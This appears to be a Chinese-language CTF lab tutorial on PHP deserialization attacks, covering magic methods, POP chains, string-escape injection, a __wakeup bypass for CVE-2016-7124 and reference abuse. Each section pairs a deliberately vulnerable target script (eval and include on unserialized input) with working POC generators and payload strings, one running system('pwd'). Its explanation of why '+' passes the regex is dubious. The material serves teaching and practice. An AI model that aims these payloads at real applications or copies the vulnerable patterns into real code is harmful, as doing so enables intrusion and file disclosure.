PHP魔术方法
PHP中有一些特殊的方法,被称为魔术方法或者魔法方法。这些方法以双下划线(__)作为前缀,PHP会在特定的情况下自动调用它们。以下是一些常见的PHP魔术方法:
__construct
: 当一个对象被创建时,自动调用该方法。可以在该方法内进行对象属性的初始化和其他一些必要的设置。__destruct
: 当一个对象即将被销毁时,自动调用该方法。可以在该方法内进行一些清理工作,释放对象所占用的资源。__get
: 当访问一个不可访问(不存在或不可见)属性时,自动调用该方法。可以在该方法内定义自定义的获取逻辑,例如从其他属性或方法中获取值。__set
: 当给一个不可访问属性赋值时,自动调用该方法。可以在该方法内定义自定义的赋值逻辑,例如进行数据验证或处理。__isset
: 在对不可访问属性使用 isset() 或 empty() 函数时,自动调用该方法。可以在该方法内返回属性是否存在的布尔值。__unset
: 在对不可访问属性使用 unset() 函数时,自动调用该方法。可以在该方法内进行特定的处理逻辑,例如防止属性被删除或进行特定的清理操作。__call
: 当调用一个不可访问的方法时,自动调用该方法。可以在该方法内定义自定义的方法调用逻辑。__toString
: 当将对象作为字符串进行输出时,自动调用该方法。可以在该方法内返回一个表示对象的字符串,用于方便输出和调试。
靶场的docker容器信息:靶场为mcc0624/ser:1.8
POP链前置知识—调用链
pop链构造例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal(); // 3.这里构造函数将test初始化为一个normal对象,但是eval()在evil类生成的对象中
}
public function __destruct(){
$this->test->action(); //2.调用action()函数,但是默认构造是调用 normal类的action()函数
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2); //1.发现危险代码
}
}
unserialize($_GET['test']); // 反序列化
?>
根据上述描述发现问题的关键在于:index类的构造函数会将test构造成一个normal对象,但是根据开篇将的魔术方法知道构造函数只是在对象生成的时候才会调用,而这里对象是反序列化转化成的,反序列化过程中其实不会调用构造函数。所以传入一个初始化为test=evil的index对象就行。
接下来开始构造反序列化数据
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil(); // 修改构造函数让index->test生成为一个evil对象
}
}
class evil {
var $test2 = "system('pwd');"; // 修改执行代码
}
$a = new index();
$b = urlencode(serialize($a)); // 序列化并编码生成的对象,进行url编码的原因是序列化后的对象直接输出可能会出现乱码
print($b); // 打印出序列化和url编码后的对象
?>
//打印:O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A14%3A%22system%28%27pwd%27%29%3B%22%3B%7D%7D
//解码后可以看到其实是这样的序列化数据,但是这里直接输出出现乱码了:
提交?test=O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A14%3A%22system%28%27pwd%27%29%3B%22%3B%7D%7D
输出了当前目录:
POP链前置知识——魔术方法
例题:
目的是执行echo "tostring is here!!";
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!"; // 目的
}
}
$b = $_GET['benben'];
unserialize($b);
?>
构造方法
<?php
class fast {
public $source;
public function __construct(){
$this->source = new sec(); // 关键1
}
public function hello(){
echo $this->source; // 关键2 只要这里echo $this->source 的$this->source 是sec 对象,__tostring()就会被执行
}
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){ // 关键3__tostring()魔术方法在该对象被当做字符串时执行
echo "tostring is here!!";
}
}
$a = new fast();
$b = serialize($a);
print($b); // 打印出构造好的序列化数据
//$b = $_GET['benben'];
//unserialize($b);
?>
poc : O:4:”fast”:1:{s:6:”source”;O:3:”sec”:1:{s:6:”benben”;N;}}
POP链构造及POC构造
例题:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
构造poc:
<?php
class Modifier {
private $var = "flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p; // p = new Modifier()
}
$mod = new Modifier();
$test = new Test();
$test->p=$mod;
$show = new Show();
$show->source=$show;
$show->str=$test;
$poc=serialize($show);
print($poc);
?>
//打印出来:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
PHP反序列化漏洞——字符串逃逸减少型
例题1:目的创建出一个A类对象的一个新属性v3=”hello”
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
POC构造:
<?php
class A{
public $v1;
public $v2;
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = "system()system()";
$b = ';s:2:"v3";s:5:"hello';
$data = serialize(new A($a,$b));
print($data."\n");
//打印结果
// 高光部分为属性的值
//O:1:"A":2:{s:2:"v1";s:16:"system()system()";s:2:"v2";s:20:";s:2:"v3";s:5:"hello";}
$data = str_replace("system()","",$data);
print($data."\n");
//打印结果
// 高光部分为值,发现这里v1的值变成的";s:2:"v2";s:20:,相当于吃掉的v2的属性部分,而将
//O:1:"A":2:{s:2:"v1";s:16:"";s:2:"v2";s:20:";s:2:"v3";s:5:"hello";}
//构造的关键在于数字16因为需要吃掉的部分";s:2:"v2";s:20:占16个字符,system()也刚好占16个字符,由于system()将会被替换成空,所以反序列化函数将剩下的";s:2:"v2";s:20:变成了v1的属性的值。
//同时v3属性的定义也会逃逸出来s:2:"v3";s:5:"hello",通过反序列化就成了新属性v3="hello"
var_dump(unserialize($data));
//打印结果
/*
object(A)#1 (3) {
["v1"]=>
string(16) "";s:2:"v2";s:20:"
["v2"]=>
string(3) "123"
["v3"]=>
string(5) "hello"
}
*/
?>
例题2:目的是拿到flag
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo "hello";
echo file_get_contents("./flag.php");
}
?>
POC构造
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param="flagflagflagflagflagflagflagflagflag";
$pass=';s:3:"vip";b:1;s:4:"pass";s:1:"1";}';
$param=serialize(new test($param,$pass));
//print($param."\n");
$profile=filter($param);
print($profile."\n");
$profile=unserialize($profile);
var_dump($profile->vip);
var_dump($profile);
if ($profile->vip){
echo "hello";
//echo file_get_contents("flag.php");
}
?>
输出:
O:4:”test”:3:{s:4:”user”;s:36:”hkhkhkhkhkhkhkhkhk”;s:4:”pass”;s:35:“;s:3:”vip”;b:1;s:4:”pass”;s:1:”1″;}”;s:3:”vip”;b:0;}
bool(true)
object(test)#1 (3) {
[“user”]=>
string(36) “hkhkhkhkhkhkhkhkhk”;s:4:”pass”;s:35:”
[“pass”]=>
string(1) “1”
[“vip”]=>
bool(true)
}
hello
poc:
user=flagflagflagflagflagflagflagflagflag&pass=;s:3:"vip";b:1;s:4:"pass";s:1:"1";}
PHP反序列化漏洞——字符串逃逸增加型
例题1:目的增加一个属性v3=”hello”
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
构造poc
<?php
class A{
public $v1;
public $v2;
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = 'lslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:5:"hello";}'; // 24个ls,一个ls被替换成一个pwd后吐出一个字符
//一共要吐出24个特殊字符";s:2:"v3";s:5:"hello";}
$b = '';
$data = serialize(new A($a,$b));
print($data."\n");
$data = str_replace("ls","pwd",$data);
print($data."\n");
var_dump(unserialize($data));
?>
例题2:目的拿到flag
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo "hello";
echo file_get_contents("flag.php");
}//关键
?>
构造poc
<?php
//highlight_file(__FILE__);
//error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param='phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp php";s:4:"pass";s:8:"escaping";}';//29个php
//目的是吐出";s:4:"pass";s:8:"escaping";}共29个字符
$param=serialize(new test($param));
print($param."\n");
$param=filter($param);
print($param."\n");
$profile=unserialize($param);
var_dump($profile);
if ($profile->pass=='escaping'){
echo "hello";
echo file_get_contents("flag.php");
}
?>
输出:
O:4:"test":2:{s:4:"user";s:123:"phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp php";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
O:4:"test":2:{s:4:"user";s:123:"hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
object(test)#1 (2) {
["user"]=>
string(123) "hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hackhackhackhack hack"
["pass"]=>
string(8) "escaping"
}
hello
poc:
phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp phpphpphpphp php";s:4:"pass";s:8:"escaping";}
__wakeup()绕过
该漏洞只使用于:
反序列化漏洞CVE-2016-7124:
适用PHP5<5.6.25/PHP7<7.0.10
例题1:目的拿到flag
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){ // 关键
include_once($this->file);
echo $flag;
}
function __wakeup(){ // 要绕过__wakeup()
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){ // 检测$cmd中是否有 [O或C]:数字
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
构造poc
<?php
//error_reporting(0);
class secret{
var $file='flag.php';
function __wakeup(){
echo "wakeup";
$this->file='index.php';
}
function __destruct(){
echo "析构函数\n";
if($this->file==="flag.php"){
echo 'flag';
}
}
}
//构造序列化数据
//$a = new secret();
//$b = serialize($a);
//print($b."\n");
// 输出结果:
// O:6:"secret":2:{s:4:"file";s:8:"flag.php";}
// 用+号可以绕过WAF
$cmd='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
$b=urlencode($cmd);
print($b."\n");
// 检测WAF绕过
if (!isset($cmd)){
//highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
print("绕过正则\n");
unserialize($cmd);
}
}
//sercet in flag.php
?>
输出:
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
绕过正则
POC
cmd=O%3A%2B6%3A"secret"%3A2%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
其中WAF绕过,+绕过原理:
在 PHP 中,当使用 unserialize()
函数对字符串进行反序列化时,“+” 符号会被转换成空格(空白字符)。这是因为在 PHP 的序列化和反序列化过程中,空格字符用于分隔不同的序列化项。
PHP反序列化——引用的利用
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
POC构造
<?php
//highlight_file(__FILE__);
//error_reporting(0);
//include("flag.php");
class just4fun {
var $enter;
var $secret;
}
$a = new just4fun();
$a -> enter = &$a->secret;
$b = serialize($a);
print($b."\n");
var_dump(unserialize($b));
$b = urlencode($b);
print($b);
?>
输出:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
object(just4fun)#2 (2) {
["enter"]=>
&NULL
["secret"]=>
&NULL
}
O%3A8%3A%22just4fun%22%3A2%3A%7Bs%3A5%3A%22enter%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A2%3B%7D
POC:
pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
或
pass=O%3A8%3A%22just4fun%22%3A2%3A%7Bs%3A5%3A%22enter%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A2%3B%7D